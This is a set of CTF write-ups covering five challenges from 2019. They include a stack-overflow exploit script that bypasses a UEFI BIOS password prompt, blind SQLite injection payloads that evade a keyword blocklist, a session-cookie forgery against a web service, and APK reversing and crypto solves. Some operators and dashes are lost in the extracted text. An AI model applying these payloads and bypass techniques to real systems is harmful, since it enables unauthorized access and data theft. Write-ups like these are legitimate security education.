
Google CTF Quals 2019  Secure Boot
Challenge overwiew
A x86_64 qemu challenge. However, this time it is about getting it to boot up…
. ├── contents │ ├── boot.nsh │ ├── bzImage │ ├── rootfs.cpio.gz │ └── startup.nsh ├── OVMF.fd └── run.py
Running the challenge and doing nothing gives us the following output:
UEFI Interactive Shell v2.2 EDK II UEFI v2.70 (EDK II, 0x00010000) Mapping table FS0: Alias(s):HD1a1:;BLK3: PciRoot(0x0)/Pci(0x1,0x1)/Ata(0x0)/HD(1,MBR,0xBE1AFDFA,0x3F,0xFBFC1) BLK0: Alias(s): PciRoot(0x0)/Pci(0x1,0x0)/Floppy(0x0) BLK1: Alias(s): PciRoot(0x0)/Pci(0x1,0x0)/Floppy(0x1) BLK2: Alias(s): PciRoot(0x0)/Pci(0x1,0x1)/Ata(0x0) BLK4: Alias(s): PciRoot(0x0)/Pci(0x1,0x1)/Ata(0x0) If Secure Boot is enabled it will verify kernel's integrity and return 'Security Violation' in case of inconsistency. Booting... Script Error Status: Security Violation (line number 5)
And execution stops. However, if we enter the “BIOS” by hitting
del
orF12
we are greeted with the following:BdsDxe: loading Boot0000 "UiApp" from Fv(7CB8BDC9F8EB4F34AAEA3EE4AF6516A1)/FvFile(462CAA2176144503836E8AB6F4662331) BdsDxe: starting Boot0000 "UiApp" from Fv(7CB8BDC9F8EB4F34AAEA3EE4AF6516A1)/FvFile(462CAA2176144503836E8AB6F4662331) **************************** * * * Welcome to the BIOS! * * * **************************** Password?
This is where the challenge starts.
PreReversing
First of all, I modified the run.py script and added the
s
option to qemu (s ia a shorthand to wait for gdb connections on port 1234). I also removed theconsole=/dev/null
as I want to use the console later on.Now we can run the challenge until we get to the password input prompt. Once reached, we attach radare2 to it with
r2 D gdb gdb://localhost:1234
. Radare will stop the execution. As the program is expecting input from us, we are probably currently in some kind of input routine. A backtrace should lead us to the calling functions.Printing a backtrace reveals the following:
:> dbt 0 0x7b30a41 sp: 0x0 0 [??] rip r13+8403169 1 0x7ec22c9 sp: 0x7ec16c8 32 [??] rsp+3105 2 0x7ec5f50 sp: 0x7ec1728 96 [??] rsp+18600 3 0x7ed2fe7 sp: 0x7ec1758 48 [??] rsp+71999 4 0x7ed30c9 sp: 0x7ec1778 32 [??] rsp+72225 5 0x67daf5e sp: 0x7ec17c8 80 [??] cr3+108896862 6 0x7b90612 sp: 0x7ec1828 96 [??] rip+392145 7 0x67d4d34 sp: 0x7ec18b8 144 [??] cr3+108871732 8 0x7ec5f50 sp: 0x7ec18f8 64 [??] rsp+18600 9 0x7ec8317 sp: 0x7ec1958 96 [??] rsp+27759 10 0x7a7e577 sp: 0x7ec1a28 208 [??] r13+7672855
I now went through all the call frames and looked for something interesting (in search for some main loop). At frame 5 I noticed the use of
0xdeadbeefdeadbeef
(suspicious). Frame 7 checks a functions result and, depending on the output, calls another function with the string “Blocked” as an argument. Therefore I assumed0x67dae50
to be our password check routine we are interested in.0x067d4d2f e81c610000 call 0x67dae50 ;[1] 0x067d4d34 84c0 test al, al 0x067d4d36 7511 jne 0x67d4d49 0x067d4d38 488d0d1fa100. lea rcx, [0x067dee5e] ; u"\nBlocked!\n" 0x067d4d3f e8b976ffff call 0x67cc3fd
To confirm this, I placed a breakpoint on the
test al, al
instruction (db 0x67d4d34
) and, once the breakpoint was hit, manually modified the return value from zero to one (dr rax=1
). Continuing execution (dc
) results in a BIOS menu where I could turn off secure boot and initiate a reboot with the new BIOS settings. As a result, the system would start up normally.Reversing
As I identified the password input routine, it’s time for reversing (using IDA). First, I dumped the whole guest memory via the qemu monitor (press
ctrl+a
thenc
and dump usingdumpguestmemory
). We get some decompiled and cleaned up pseudocode like this (left some details away for simplicity):int checkpasswd() { uint64_t *hashptr; char keybuffer[128]; hashptr = malloc(32); for (int tries=0; tries <= 2; tries++) { int i=0; for(; i<140; i++) { char c = getc(); if (c == '\r') break; keybuffer[i] = c; print("*"); } keybuffer[i] = '\0'; /* assumed because of magic constants */ sha256(32, i, keybuffer, hashptr); if (hashptr[0x00] == 0xdeadbeefdeadbeef && hashptr[0x08] == 0xdeadbeefdeadbeef && hashptr[0x10] == 0xdeadbeefdeadbeef && hashptr[0x18] == 0xdeadbeefdeadbeef) return 1; print("wrong!"); } return 0; }
So a classic stack based overflow (128B space vs. 141B usage). We overflow into the hashptr and therefore control where the 32 Bytes of resulting hash are written to. We can use this to bypass the login password check by partially overwriting our own return address. So instead of returning to
0x67d4d34
we want to return to0x67d4d49
, i.e. we need to change the first byte from0x34
to0x49
. The return address is located at0x7ec18b8
, therefore we need to overwrite the hashptr to point to0x7ec18b8  0x20 + 1 = 0x7ec1899
. The payload for this looks like this:pl = "A" * 136 + struct.pack('<I', 0x07ec1899)
To overwrite the first byte of the return address with controlled data, one can bruteforce possible sha256 hashes. During the ctf due to lazyness I just manually incremented the first char, as the possibility is > 1/256 to hit a valid bypass :) Dirty, but I got a working payload quite fast this way.
pl = "E" + "A" * 135 + struct.pack('<I', 0x07ec1899)
Launching
We now have everything together to launch the exploit against the remote target. The del keycode (0x7f) needs to be escaped (0x1b) and we need to wait some time before we can send it (therefore the recvn(1)).
from pwn import * r = remote('secureboot.ctfcompetition.com', 1337) if __name__ == '__main__': r.recvn(1) r.send('\x1b\x7f') r.recvuntil('Password?') pl = "E" + "A" * 135 + struct.pack('<I', 0x07ec1899) r.send(pl + '\x0d') r.interactive()
Launching with socat:
socat /dev/stdin,rawer "SYSTEM:python2 secureboot.py"
This will drop us into the BIOS options. There we need to deselect
Device Manager
>Secure Boot Configuration
>Attempt Secure Boot
. A reboot will start the machine and allows us to cat the flag. 
Google CTF Quals 2019  Flaggy Bird
Challenge overwiew
An Android APK challenge.
We have some kind of jump and run game, our character can walk left/right and jumping is possible as well. If we reach the red flag, the level is completed and a next level starts.
If we unpack the APK (APKs are just ZIP files, I used
unzip flaggybird.apk
) we can see that there are three zlib compressed levels inside the assets folder. I also noticed a small native library calledlibrary.so
.So far there is no clue about where the flag is hidden, and as the game is pretty hard (couldn’t reach level3) we need to get our hands dirty and start looking at the decompiled source.
Reversing
I used jadx for the decompilation of the app (
jadx flaggybird.apk
). Now, with the (mostly) recovered source, we can start investigation. TheChecker.java
file was chosen as an interesting startpoint, as it contained AES decoding routines:class Checker { private static final byte[] a = new byte[]{(byte) 46, (byte) 50, ...}; private static final byte[] b = new byte[]{(byte) 30, (byte) 1, ...}; private static final byte[] c = new byte[]{(byte) 113, (byte) 47, ...}; private byte[] a(byte[] bArr, byte[] bArr2) { try { IvParameterSpec ivParameterSpec = new IvParameterSpec(b); SecretKeySpec secretKeySpec = new SecretKeySpec(bArr, "AES"); Cipher instance = Cipher.getInstance("AES/CBC/PKCS5PADDING"); instance.init(2, secretKeySpec, ivParameterSpec); return instance.doFinal(bArr2); } catch (Exception unused) { return null; } } public byte[] a(byte[] bArr) { if (nativeCheck(bArr)) { try { if (Arrays.equals(MessageDigest.getInstance("SHA256").digest(bArr), a)) { return a(bArr, c); } } catch (Exception unused) { } } return null; } public native boolean nativeCheck(byte[] bArr); }
Array a is a sha256 sum, b the IV and c contains encrypted data. We can see that if the native
nativeCheck
returns true for somebArr
, it’s sha256 is compared against a. Only if they match, decryption takes place. So we are looking for a decryption key with the sha256 sum of a. To find the decryption key, we need to find out wherebArr
comes from and whatnativeCheck
does.Eggs And Arrays
The only occurrence of the Checker class is in
f.java
. There are two interesting methods in this file and a lot of enums.class f { static final a[] a = new a[]{a.EGG_0, a.EGG_1, ..., a.EGG_15}; ... public void a() { byte[] bArr = new byte[32]; for (int i = 0; i < this.l.length; i++) { for (int i2 = 0; i2 < a.length; i2++) { if (this.l[i] == a[i2]) { bArr[i] = (byte) i2; } } } bArr = new Checker().a(bArr); if (bArr != null) { try { this.o = 0; a(bArr); return; } catch (IOException unused) { return; } } this.g.a("Close, but no cigar."); }
This method is responsible for calling the Checker. Before it does so, it constructs the
bArr
. The construction looks quite messy, but it just translates enum elements (like a.EGG_0, etc) into a numerical representation. In our case EGG_0 is translated to 0, EGG_1 to 1, etc. Therefore the real “array of interest” for us isl
. But what we know so far is, that the bytevalues forbArr
are all in the range [015], as thea
array only contains 16 eggs.public void a(int i, int i2) { this.l[i] = a[i2]; int i3 = 1; for (int i4 = 0; i4 < this.m.size(); i4++) { if (((Integer) this.m.get(i4)).intValue() == i) { if (i2 == 0) { i3 = i4; } else { return; } } } if (i3 != 1) { this.m.remove(i3); } if (i2 != 0) { this.m.add(Integer.valueOf(i)); if (this.m.size() > 15) { this.l[((Integer) this.m.remove(0)).intValue()] = a.EGG_0; } } }
This function is called to modify elements of
l
. It assignsl
at positioni
the value ofi2
(as an “EGG_*” enum value, but translated back anyways later as we could see). Also, in the remaining part of the method, it is ensured that there are no more than 15 nonzero eggs inside thel
array and that every egg only occurs once! This reduces the possible keyspace further. For example the following keys would be possible:[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] [3,0,11,0,10,8,0,0,13,1,0,0,12,0,6,9,5,0,0,2,7,0,0,0,0,0,14,0,15,0,4,0]
At this point I stopped the java reversing part.
NativeCheck
I started with throwing
library.so
into IDAs / ghidras decompiler. I used the ARM library version, as they tend to produce better decompilation results.bool C(char *bArr) { int v1; bool result; unsigned char v4[16]; v1 = 0; do { v4[v1] = bArr[2 * v1] + bArr[2 * v1 + 1]; ++v1; } while ( v1 != 16 ); p = 0; c = 1; M(v4, 16); return v4[15] < 16 && c != 0; }
After some Java unwrapping
C
is called.bArr
is compressed down to 16 Bytes by summing up two adjacent bytes, e.g. [x1, x2, x3, x4, …, x32] > [x1 + x2, x3 + x4, …, x31 + x32]. AfterwardsM
is called. Apparently the goal is to keepc == 1
during the execution ofM
. Also, we get another constraint for the possible keyspace withx31 + x32 < 16
. Now we get to the main part of the nativeCheck. It is some recursive algorithm which I didn’t bother to look at so closely. The only depency is a boolean array.Straight outta IDA:
int c = 1; int p = 0; int d[] = {0x00000000U, 0x00000000U, 0x00000000U, 0x00000000U, 0x00000001U, 0x00000000U, 0x00000000U, 0x00000001U, 0x00000000U, 0x00000001U, 0x00000001U, 0x00000001U, 0x00000001U, 0x00000000U, 0x00000000U, 0x00000000U, 0x00000001U, 0x00000001U, 0x00000000U, 0x00000000U, 0x00000001U, 0x00000000U, 0x00000001U, 0x00000000U, 0x00000000U, 0x00000000U, 0x00000001U, 0x00000001U, 0x00000001U, 0x00000000U, 0x00000000U, 0x00000000U, 0x00000001U, 0x00000000U, 0x00000000U, 0x00000000U, 0x00000000U, 0x00000001U, 0x00000001U, 0x00000001U, 0x00000001U, 0x00000001U, 0x00000000U, 0x00000001U, 0x00000000U, 0x00000000U, 0x00000000U}; void M(char *dest, int len) { size_t middle; // r13 int halflen; // er12 char *middleptr; // rbp size_t v5; // rbx int v6; // er14 signed int v7; // eax char v8; // dl size_t v9; // rbp char desta[16]; // [rsp+10h] [rbp48h] size_t v12; // [rsp+20h] [rbp38h] if (len >= 2) { middle = len >> 1; M(dest, len >> 1); if (c) { halflen = len  middle; middleptr = &dest[middle]; M(&dest[middle], len  middle); if (c) { if (halflen > 0) { v5 = 0LL; v6 = 0; v7 = 0; while (1) { v8 = middleptr[v6]; if (dest[v7] >= v8) { if (dest[v7] <= v8  d[p]) { c = 0; return; } ++p; desta[v5] = middleptr[v6++]; } else { if (d[p] != 1) { c = 0; return; } ++p; desta[v5] = dest[v7++]; } ++v5; if (v7 >= (signed int) middle  v6 >= halflen) goto LABEL_17; } } v7 = 0; v6 = 0; v5 = 0; LABEL_17: if (v7 < (signed int) middle) { v9 = (unsigned int) (middle  1  v7); memcpy(&desta[(signed int) v5], &dest[v7], v9 + 1); v5 = v5 + v9 + 1; } if (v6 < halflen) { memcpy(&desta[(signed int) v5], &dest[middle + v6], (unsigned int) (len  1  v6  middle) + 1LL); } memcpy(dest, desta, len); } } } }
Solving
As it always takes some time for me to decompile algorithms properly (even tough this looked like a simple one) I decided just to write some small harness and use angr to compute a valid input array for
M
.The harness:
int main(int argc, char* argv[]) { char buf[16]; read(0, buf, 16); M(buf, 16); if (c) puts("YAY!"); return 0; }
The handy part about doing it this way is, that we only need to define our constraints. I used the following:
 Last byte of compressed key < 16 (because of the check in
C
)  A single byte must be < 30 (14 + 15 = 29 maximum possible value for a byte)
 Summed up, all bytes must equal 120 (1+2+3+…+15 = 120)
The constraints from above still do allow for a few values we could have ruled out, but I just tried to keep them simple.
import angr import claripy if __name__ == '__main__': p = angr.Project('./main', load_options={'auto_load_libs': False}) sym = claripy.BVS('x', 16 * 8) state = p.factory.entry_state(args=[p.filename], stdin=sym) state.add_constraints(sym.get_byte(15) < 16) for i in range(15): state.add_constraints(sym.get_byte(i) < 30) state.add_constraints(sum([sym.get_byte(x) for x in range(16)]) == 120) ex = p.factory.simulation_manager(state) ex.explore(find=lambda s: b"YAY!" in s.posix.dumps(1)) f = ex.found[0].solver.eval(sym, cast_to=bytes) print(list(f))
After less than 15 seconds we get a solution. It is also the only possible solution.
[9, 8, 7, 2, 11, 15, 13, 10, 6, 5, 14, 4, 3, 0, 12, 1]
Now we know the summed up key which
M
expects. Bruteforcing all possible values and comparing their hashes against the known hash should now be feasible. However I just used Z3 because I didn’t want to write a bruteforcer. The first constraints are the problem definition. The second one requires the key to contain exactly 15 nonzero values. Now we only have to loop until we find our key with the correct hash, constantly adding constraints to exclude already found, nonmatching keys.import hashlib from z3 import * arr = [9, 8, 7, 2, 11, 15, 13, 10, 6, 5, 14, 4, 3, 0, 12, 1] correcthash = "2e325c91c914" s = Solver() vec = [BitVec('x{}'.format(x), 4) for x in range(32)] for i in range(16): s.add(vec[i * 2] + vec[i * 2 + 1] == arr[i]) s.add(sum([If(vec[i] != 0, 1, 0) for i in range(32)]) == 15) while s.check() == sat: x = s.model() ress = [x[v].as_long() for v in vec] s.add(Or([vec[i] != ress[i] for i in range(32)])) h = hashlib.sha256() h.update(bytes(ress)) if h.hexdigest().startswith(correcthash): print(h.hexdigest()) print(ress)
In less than 2 minutes I obtained the decryption key.
[9, 0, 0, 8, 0, 7, 2, 0, 0, 11, 0, 15, 13, 0, 10, 0, 6, 0, 0, 5, 14, 0, 0, 4, 0, 3, 0, 0, 12, 0, 1, 0]
After decryption we get a zlib compressed level file. I couldn’t tell the flag from the decompressed content, so I just replaced the first level with it. Then resigning the APK with jarsigner finally leads us to the flag.
 Last byte of compressed key < 16 (because of the check in

Harekaze CTF 2019  SQLite Voting
The challenge consisted of a webpage with four different animal emojis, clicking on one sent a vote for that animal. It was promised that results will be published at the end of the CTF.
We are provided with the database schema which consists of two tables, one for all the votes and one containing the precious flag.
Looking at the provided code we can easily spot an attack vector:
... $id = $_POST['id']; ... $res = $pdo>query("UPDATE vote SET count = count + 1 WHERE id = ${id}"); ...
The only issue being that
$id
is filtered using a custom function:function is_valid($str) { $banword = [ // dangerous chars // " % ' * + / < = > \ _ ` ~  "[\"%'*+\\/<=>\\\\_`~]", // whitespace chars '\s', // dangerous functions 'blob', 'load_extension', 'char', 'unicode', '(insub)str', '[lr]trim', 'like', 'glob', 'match', 'regexp', 'in', 'limit', 'order', 'union', 'join' ]; $regexp = '/' . implode('', $banword) . '/i'; if (preg_match($regexp, $str)) { return false; } return true; }
So we are not allowed to use whitespace, no functions like char, like or substr that could help us compare strings and they even limited how we can query other tables by blocking union and join.
After playing around with an sqlite shell for a few minutes it became clear that subqueries using something like
SELECT(flag)FROM(flag)
seemed to be working fine, now we need two things: A way of actually getting a result back (no query results are returned)
 A way of comparing the flag in the database with given values (since we are attacking it completely blind)
Getting a result back was actually quite easy, we can just let sqlite try to interpret the flag as json. Since it has brackets and (hopefully) doesn’t follow correct json syntax that will result in an error which we can’t see but at least are told that something went wrong.
Trying this out we crafted two queries:
(SELECT(JSON(flag))FROM(flag)WHERE(flag)IS(0))
This one succeeded as json(flag) is never executed(SELECT(JSON(flag))FROM(flag)WHERE(flag)IS(flag))
This one fails as the flag is no valid json string
Now we needed a way to actually get any information about the content… this is where most of the time got spent.
Playing around with the shell a bit more we found that we can convert the flag into hex presentation and that sqlite is using weak typing. Trying out something like
SELECT REPLACE("1234", 12, "");
results in34
.Taking the redacted flag from the given schema (
HarekazeCTF{<redacted>}
) and converting it into hex results in486172656b617a654354467b3c72656461637465643e7d
. We noticed that there are lot of parts with just digits and no letters486172656 b 617 a 654354467 b 3 c 72656461637465643 e 7 d
, and since we could replace numbers with anything we wanted to we would be able to basically reduce the length of the given hexstring by the number of matches of our replacement.First we tried to find the length of the flag, that was actually quite easy to do, just probing around with a simple query:
(SELECT(JSON(flag))FROM(flag)WHERE(LENGTH(flag))IS(36))
Thank you for your vote!(SELECT(JSON(flag))FROM(flag)WHERE(LENGTH(flag))IS(37))
Thank you for your vote!(SELECT(JSON(flag))FROM(flag)WHERE(LENGTH(flag))IS(38))
An error occured…
So we know the flag is 38 characters long, or 76 hex characters.
Next we probed around for the count of each digit in the hexflag, here an example for the digit
4
(which was in there 7 times):(SELECT(JSON(flag))FROM(flag)WHERE(LENGTH(REPLACE(HEX(flag),4,hex(null))))IS(76))
Thank you for your vote! …
(SELECT(JSON(flag))FROM(flag)WHERE(LENGTH(REPLACE(HEX(flag),4,hex(null))))IS(70))
Thank you for your vote!(SELECT(JSON(flag))FROM(flag)WHERE(LENGTH(REPLACE(HEX(flag),4,hex(null))))IS(69))
An error occured
Using that information we now were able to piece together parts of the flag by trying number sequences instead of single digits, each time decreasing the length accordingly and adding a digit, if it was correct we’d get an error otherwise we were thanked for our patience.
After getting into the flow this was actually done quite quickly in a few minutes by hand, resulting in the following sequence of numbers and 12 characters (
[af]
) left unknown: 345
 34316
 34353733727
 3137335
 35716
 37305
 62335
 486172656
 617
 654354467
 5
 6
We knew that the flag would start with
HarekazeCTF{
so we quickly determined that486172656 b 617 a 654354467 b
is the start, already giving us the order for 3 of the numbers in the list. Since the flag ends with}
(0x7d) we know that we’d need a number with a 7 at the end, which after sorting out the start could only be34353733727
.After that we had the following numbers left:
 345
 34316
 3137335
 35716
 37305
 62335
 5
 6
Noticing that most of those numbers (excluding the last digit) resultet in valid ascii and most of them ended with a
5
and 0x5f being an underscore which is often used as a flag separator we quickly filled that in, leaving us only with 3 hex characters and all being prefixed with a6
. Since the flag seemed to be written in l33tspeak andm
(0x6d) is one of the characters which is really hard to represent that way, so we picked that sequence to fill in the last gaps.At that point we had the following list:
 486172656B617A654354467B
HarekazeCTF{
 345F
4_
 34316D 5F
41m_
(we moved the 5F from the end here since it fits the pattern of other parts)  3137335F
173_
 35716D
5qm
 37305F
70_
 62335F
b3_
 5F
_
 6D
m
 34353733727
4573r}
Sorting that around we got something like
HarekazeCTF{41m_70_b3_4_5qm173_m4573r}
, and fixing one of our guesses replacing them
with anl
resulted in the flag:HarekazeCTF{41m_70_b3_4_5ql173_m4573r}
. 
Enowars3  Voting
“Voting” was a web service at the Enowars3 attack/defense CTF.
tl;dr Flagbot username was public. Cookies were sha512() of flagbot username
The service was written in Python with an sqlite db and flask. You could register an account and then vote yes/no to some default votes and also create your own votes. When creating your own votes you could place a secret message there, which was only printet when the creator of a vote was visiting the vote page.
{% if session[2] == pollCreator and pollCreatorsNoteslength > 0 %} <h3>Your private notes</h3> <p>{{ pollCreatorsNotes }}</p>
The login function was really simple
def login(userName, password): if auth(userName, password): return createSessionAuthenticated(userName) return None
here it was already obvious that the cookie only depends on the username.
def createSessionAuthenticated(userName): h = hashlib.sha512() h.update(str.encode(userName)) sid = h.hexdigest() db = sqlite3.connect("data.sqlite3") c = db.cursor() c.execute("INSERT OR REPLACE INTO sessions VALUES (:sid, (SELECT datetime('now','+1 hour')), :userName);", {"sid": sid, "userName": userName}) db.commit() db.close() return (sid, 3600)
Looking at createSessionAuthenticated() confirmed this. My “fix” :D was really simple then.
#h.update(str.encode(userName)) h.update(str.encode(userName+"dsjkflsjdflskjdfsklfjskljflsjfjsfljredrocket"))
No exploit script here. The code is kind of messy and really boring. Just read the vote id’s from /index.html > read the vote creators usernames > sha512(username) > read the flag

MidnightsunCTF Quals 2019  tulpan257
The following sage script was given:
flag = "XXXXXXXXXXXXXXXXXXXXXXXXX" p = 257 k = len(flag) + 1 def prover(secret, beta=107, alpha=42): F = GF(p) FF.<x> = GF(p)[] r = FF.random_element(k  1) masked = (r * secret).mod(x^k + 1) y = [ masked(i) if randint(0, beta) >= alpha else masked(i) + F.random_element() for i in range(0, beta) ] return r.coeffs(), y sage: prover(flag) [141, 56, 14, 221, 102, 34, 216, 33, 204, 223, 194, 174, 179, 67, 226, 101, 79, 236, 214, 198, 129, 11, 52, 148, 180, 49] [138, 229, 245, 162, 184, 116, 195, 143, 68, 1, 94, 35, 73, 202, 113, 235, 46, 97, 100, 148, 191, 102, 60, 118, 230, 256, 9, 175, 203, 136, 232, 82, 242, 236, 37, 201, 37, 116, 149, 90, 240, 200, 100, 179, 154, 69, 243, 43, 186, 167, 94, 99, 158, 149, 218, 137, 87, 178, 187, 195, 59, 191, 194, 198, 247, 230, 110, 222, 117, 164, 218, 228, 242, 182, 165, 174, 149, 150, 120, 202, 94, 148, 206, 69, 12, 178, 239, 160, 7, 235, 153, 187, 251, 83, 213, 179, 242, 215, 83, 88, 1, 108, 32, 138, 180, 102, 34]
It doesn’t work quite as given 
prover()
must be given a polynomial, not a string. I figured that this polynomial was probably just using the flag string as coefficients, and just tried to recover that secret polynomial first (under the assumption that it was of degree $k$). Ther.coeffs()
output has length $26$, so this means that $k=26$.Now the hard part was recovering the polynomial
masked
 if I knew that, I could just multiply by the multiplicative inverse of $r$ in the ring $GF(p)[x]/(x^k+1)$ (which fortunately exists). The known outputy
is obtained by evaluatingmasked
at the positions $0,1,\ldots,106$  however, with random chance of $\frac{42}{107}$, a random output modulo $p$ is chosen instead. I also know thatmasked
is a polynomial of degree $k1$  so if I just knew $k$ correct points, I could simply construct the Lagrange Polynomial through these points.With the output containing errors I had two choices:
 Guessing: If I just guess 26 points that had the correct output, I could recover the original polynomial. A quick calculation shows that this has about chance $2\cdot 10^{6}$ of happening  and it is easy to detect, as some random polynomial through 26 of the points will match
y
in far less places than the correct one. Having now tried it after the CTF, it works very well.  Using someone elses work: My first instinct however was to search for a more elegant algorithm for the problem. In retrospect, just using brute force would probably have saved me some time  but this variant was at least quite educational.
I knew that problems of the type “given a set of discrete equations, find a solution that satisfies a high number of them” were quite typical for Coding theory, so I started looking at wellknown errorcorrecting codes. After a little reading, the ReedSolomon Code jumped out to me  Wikipedia gives the codewords of a ReedSolomon Code as $\{(p(a_1), p(a_2), \ldots, p(a_n))\mid p \text{ is a polynomial over } F \text{ of degree } k\}$. Setting $n=107, a_i=i1, k=26, F=GF(p)$, this is exactly the kind of output we are dealing with. So now I just needed to decode the codeword given to me in
y
to one that lies in that ReedSolomon Code. Fortunately, sage has builtin functions for everything:sage: p, k = 257, 26 sage: F = GF(p) sage: FF.<x> = F[] sage: from sage.coding.grs import * sage: C=GeneralizedReedSolomonCode([F(i) for i in range(107)],26) sage: D=GRSBerlekampWelchDecoder(C) sage: D.decode_to_message(vector(y,F)) DecodingError: Decoding failed because the number of errors exceeded the decoding radius sage: D.decoding_radius() 40
Whoops  it seems there are just a few errors too many in the output for the
BerlekampWelchDecoder
to handle. All the other decoders seemed to have the same problem… until I somehow managed to find the GuruswamiSudan decoder. It conveniently takes a parametertau
that specifies (within limits) the number of errors it will be able correct:sage: from sage.coding.guruswami_sudan.gs_decoder import * sage: D=GRSGuruswamiSudanDecoder(C,45) sage: masked=D.decode_to_message(vector(y,F))[0] sage: masked 136*x^25 + 181*x^24 + 158*x^23 + 233*x^22 + 215*x^21 + 95*x^20 + 235*x^19 + 76*x^18 + 133*x^17 + 199*x^16 + 105*x^15 + 46*x^14 + 53*x^13 + 123*x^12 + 150*x^11 + 28*x^10 + 87*x^9 + 122*x^8 + 59*x^7 + 177*x^6 + 174*x^5 + 200*x^4 + 143*x^3 + 77*x^2 + 65*x + 138
Finally it’s just a matter of multiplying by $r^{1}$:
sage: R = FF.quo(x^k+1) sage: flag = R(masked)*R(r)^(1) sage: "".join([chr(i) for i in flag]) # iterates over coefficients 'N0p3_th1s_15_n0T_R1ng_LpN\x00'
Lessons learned
 Coding theory has all kinds of useful stuff for “out of n relations, only k hold, but we don’t know which”type situations
 If a builtin function of sage isn’t quite good or general enough, there is probably a better one somewhere
 Don’t waste time on elegant solutions if you can just guess
 Guessing: If I just guess 26 points that had the correct output, I could recover the original polynomial. A quick calculation shows that this has about chance $2\cdot 10^{6}$ of happening  and it is easy to detect, as some random polynomial through 26 of the points will match